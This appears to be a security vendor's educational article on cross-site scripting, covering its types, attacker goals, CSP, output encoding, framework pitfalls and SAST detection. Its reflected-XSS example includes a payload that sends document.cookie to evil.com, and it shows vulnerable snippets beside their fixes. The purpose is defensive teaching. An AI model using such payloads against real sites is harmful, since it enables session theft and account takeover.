What XSS Actually Is
Cross-site scripting (XSS) occurs when an application includes untrusted data in a web page without proper validation or escaping. The browser interprets the attacker's input as executable JavaScript rather than inert text β and runs it in the context of the victim's session.
The "cross-site" part can be misleading β in most modern XSS attacks, no cross-site request happens at all. The script just executes on the victim's page, with full access to the DOM, cookies, and local storage for that origin.
OWASP ranking: XSS appears under "Injection" in OWASP Top 10 2021 (A03). It's one of the most prevalent web vulnerabilities, appearing in roughly two-thirds of web applications tested by bug bounty hunters.
Reflected XSS
Reflected XSS is the simplest type. The malicious script is injected via the current HTTP request (a URL parameter, form field, or header) and "reflected" back in the server's response. It isn't stored anywhere β the victim has to be tricked into clicking a crafted link.
<!-- Vulnerable: user input reflected without escaping --> <p>Results for: {{ request.args.get('q') }}</p> <!-- Attacker's URL: --> <!-- https://example.com/search?q=<script>document.location='https://evil.com/?c='+document.cookie</script> --> <!-- Fixed: auto-escaped in Jinja2 with |e or globally --> <p>Results for: {{ request.args.get('q') | e }}</p>
The attacker sends this URL to the victim β via phishing email, social media, or a malicious QR code. The victim clicks it, the site reflects the script, the browser executes it. The attacker receives the session cookie and can now impersonate the victim.
Stored XSS
Stored XSS (also called persistent XSS) is more dangerous than reflected. The malicious payload is saved to the server β in a database, comment field, user profile, or message β and served to every user who views that content. No crafted link required.
Real-world scenario: A comment section on a news site allows HTML. An attacker posts a comment containing <script>/* steal session */</script>. Every visitor who views that article's comment thread gets their session cookie stolen. We've seen this used to compromise thousands of accounts before the comment was even noticed.
Stored XSS is particularly nasty in admin panels β if an attacker can inject a payload that executes when an admin views it, they can escalate to full application compromise, since admins have elevated privileges.
DOM-Based XSS
DOM XSS differs from reflected and stored in a critical way: the vulnerability exists entirely in client-side JavaScript. The server never sees the malicious payload β it flows from a JavaScript source (like location.hash or document.referrer) to a dangerous sink (like innerHTML) without touching the server.
// DOM XSS β source: location.hash, sink: innerHTML const name = location.hash.slice(1); // e.g. #<img src=x onerror=alert(1)> document.getElementById('greeting').innerHTML = 'Hello, ' + name; // Fixed: use textContent instead of innerHTML document.getElementById('greeting').textContent = 'Hello, ' + name;
DOM XSS is the hardest type to catch because traditional server-side code scanning won't find it β it's entirely in the JavaScript that runs on the client. You need SAST tools that understand JavaScript data flow, or dedicated DOM XSS scanners.
What Attackers Actually Do With XSS
The classic demo is alert(1). What attackers actually do is far more impactful:
- Session hijacking: Steal
document.cookieand send it to an attacker-controlled server. Instantly impersonate the victim. - Keylogging: Attach event listeners to capture passwords, credit card numbers, and form data as the user types.
- Phishing overlay: Inject a fake login modal on top of the real page, capturing credentials directly.
- Cryptocurrency mining: Run a miner in the victim's browser in the background.
- Webcam/microphone access: Request device access via the browser API (the victim's browser, not the attacker's).
- CSRF via XSS: Make authenticated requests on the victim's behalf β transfer funds, change passwords, exfiltrate data.
- Defacement: Modify the page content to damage brand reputation or spread misinformation.
Content Security Policy β What It Does and Its Limits
Content Security Policy (CSP) is an HTTP response header that tells browsers which script sources are trusted. A strict CSP can block XSS payload execution even when injection is present.
# Strict CSP β blocks inline scripts and untrusted external scripts add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'nonce-{RANDOM_NONCE}'; object-src 'none';";
The limits of CSP are real though:
- Most teams deploy weak CSPs with
unsafe-inlineorunsafe-evalwhich nullify protection - CSP doesn't help with DOM XSS that uses already-trusted sources
- Getting CSP right without breaking your app is genuinely difficult
CSP is a mitigation, not a fix: Fix the underlying output encoding issue. CSP is a second line of defence, not a replacement for proper escaping.
Output Encoding: The Real Fix
The correct fix for XSS is context-aware output encoding: encoding user-supplied data appropriately for wherever it appears in the HTML document.
- HTML context: Encode
<,>,&,",'as HTML entities - JavaScript context: Use JSON encoding or a dedicated JS encoder β never just HTML-encode data inside a
<script>tag - URL context: Percent-encode user data placed in URLs
- CSS context: CSS encoding for data in style attributes or CSS values
Most modern templating engines (Jinja2, Django templates, Handlebars, Blade) auto-escape HTML context by default. The danger is when developers explicitly disable escaping to render "trusted" HTML β which often turns out to not be trusted.
Framework Protections and Where They Break
React, Angular, and Vue all escape output by default β but they all provide escape hatches that are dangerously easy to misuse.
// React β safe by default return <p>{userInput}</p>; // auto-escaped // dangerouslySetInnerHTML β live up to its name return <p dangerouslySetInnerHTML={{ __html: userInput }} />; // XSS // Angular β safe by default, bypass via DomSanitizer.bypassSecurityTrustHtml() // Vue β safe by default, bypass via v-html directive
Our SAST scans regularly find dangerouslySetInnerHTML with user-controlled data in React apps β usually added by a developer who needed to render formatted content from a CMS, without realising the CMS output could itself be compromised.
Finding XSS with SAST
SAST tools for XSS detection track user-controlled input through the application to output sinks β places where data is written into the HTML response. Key patterns to flag:
innerHTML,outerHTML,document.write()with user-controlled valuesdangerouslySetInnerHTMLin Reactv-htmldirective in Vue- Django/Jinja2
| safefilter applied to user data - Template raw output (
{!! $var !!}in Blade) eval(),setTimeout(string),setInterval(string)with user data
Integrating SAST into CI means every PR that introduces a new dangerous output sink gets flagged before it reaches production.
Find XSS in Your Codebase
AquilaX SAST traces tainted data to dangerous output sinks across JavaScript, Python, Ruby, Java, and more β catching XSS before it ships.
Start Free Scan